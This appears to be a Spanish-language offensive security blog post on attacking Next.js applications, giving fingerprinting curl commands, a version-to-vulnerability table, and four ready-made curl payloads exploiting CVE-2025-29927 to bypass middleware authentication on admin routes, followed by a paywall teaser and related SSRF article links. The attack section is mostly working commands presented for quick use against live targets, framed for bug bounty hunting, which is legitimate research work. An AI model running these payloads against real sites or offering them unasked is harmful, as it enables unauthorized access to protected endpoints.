Respuesta rápida
Next.js es el framework dominante en SaaS modernos y arrastra una superficie de ataque única: middleware como única capa de auth, image optimization como SSRF gadget, Server Actions con Host header injection, y RSC payloads que leakean data server-side al cliente. CVE-2025-29927 (middleware bypass via x-middleware-subrequest) sigue vivo en ~35% de apps Next 14. Si fingerprint detecta Next, atacas en este orden: middleware bypass → image SSRF → server actions → RSC inspection.
1. Fingerprint rápido de Next.js
Antes de tirar payloads, confirma versión. La superficie cambia drásticamente entre Next 12 (sin App Router), Next 13-14 (App Router + Server Actions) y Next 15+.
# Build ID + buildManifest
curl -s https://target.com/_next/static/buildManifest.js | head
# Headers indicativos
curl -sI https://target.com | grep -iE "x-powered-by|x-nextjs|x-middleware"
# RSC endpoints (App Router only)
curl -s https://target.com/some-path -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%7D%5D"
| Versión | Features añadidas | Vector clave |
|---|---|---|
| ≤ 12.1 | Pages Router | Image SSRF (legacy domains) |
| 12.2 - 15.2.2 | Middleware | CVE-2025-29927 bypass |
| 13+ | App Router + RSC | RSC data exfil + Server Actions |
| 14+ | Server Actions estables | Host header injection (CVE-2024-34351) |
| ≥ 15.2.3 | Patched | Atacar otras superficies |
2. CVE-2025-29927 — middleware bypass
Next.js usa middleware para auth, redirects, rate limiting y headers de seguridad. El middleware corre antes de las rutas. Si el atacante puede saltárselo, el endpoint protegido queda accesible directo.
El bug
El header x-middleware-subrequest se usa internamente entre el runtime de Next y el handler de la ruta para evitar bucles cuando middleware llama a su propia app. Si el atacante setea ese header en una request entrante, Next asume que ya pasó por middleware y lo skipea.
Payloads
# Versión sin src/
curl -H "x-middleware-subrequest: middleware" https://target.com/admin
# Versión con src/middleware.ts
curl -H "x-middleware-subrequest: src/middleware" https://target.com/admin
# Defensa con counter de profundidad — repetir N veces
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
https://target.com/admin
# Pages router legacy
curl -H "x-middleware-subrequest: pages/_middleware" https://target.com/admin
[!danger] Sigue vivo en 2026 Aunque Next ≥ 15.2.3 está parcheado, el 35%+ de apps Next 14 productivas en 2026 no han actualizado. Una pasada con esos 4 valores en cada ruta protegida es 30 segundos por target.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Nextjs Attack Surface
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
SSRF — bypasses completos: localhost, IPv6, decimal, DNS y cloud metadata
11 técnicas para bypassear validación SSRF: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.
SSRF — localhost bypasses, DNS rebinding, cloud metadata, gopher://
Catálogo completo de bypasses SSRF en 2026: IP encodings (decimal, hex, octal, dword), DNS rebinding, IPv6 abuse, cloud metadata (AWS IMDSv2, GCP, Azure), gopher:// para chaining a Redis/Memcached RCE.
